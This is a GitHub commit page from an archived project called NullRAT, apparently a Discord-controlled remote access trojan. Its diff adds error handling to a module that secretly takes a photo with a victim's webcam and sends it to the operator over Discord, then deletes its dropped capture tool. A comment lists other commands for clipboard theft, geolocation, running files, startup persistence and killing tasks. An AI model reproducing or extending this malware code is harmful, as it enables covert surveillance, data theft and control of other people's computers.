Skip to content
This repository was archived by the owner on Mar 6, 2026. It is now read-only.

Commit 8624fae

Browse files
committed
Add no webcam exception
1 parent dcb37fd commit 8624fae

2 files changed

Lines changed: 14 additions & 9 deletions

File tree

NullRAT/RAT.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -171,7 +171,7 @@ async def second_button_callback(self, button, interaction):
171171
"webcam", # /get_webcam
172172
"runfile", # /runfile
173173
"startup", # /startup
174-
"tasklist", # /tasklist
174+
"tasklist", # /list_runningtasks & /list_runningstore & /kill_runningtasks
175175
"clipboard", # /get_clipboard
176176
"geolocate", # /get_geolocation
177177
"directory", # /get_currentdir & /set_currentdir & /list_directory & /list_rawdir

NullRAT/modules/webcam.py

Lines changed: 13 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -39,15 +39,20 @@ async def get_webcam(self, ctx, victim):
3939
stdin=subprocess.PIPE
4040
)
4141

42-
await ctx.followup.send(
43-
embed=self.bot.genEmbed(
44-
"Image taken from webcam:",
45-
datetime.now()
46-
),
47-
file=discord.File(
48-
nr_working + "\\image.png"
42+
try:
43+
await ctx.followup.send(
44+
embed=self.bot.genEmbed(
45+
"Image taken from webcam:",
46+
datetime.now()
47+
),
48+
file=discord.File(
49+
nr_working + "\\image.png"
50+
)
4951
)
50-
)
52+
except FileNotFoundError:
53+
os.remove(nr_working + "\\cc.exe")
54+
return await ctx.followup.send("No webcam!")
55+
5156
time.sleep(2)
5257
os.remove(nr_working + "\\image.png")
5358
os.remove(nr_working + "\\cc.exe")

0 commit comments

Comments
 (0)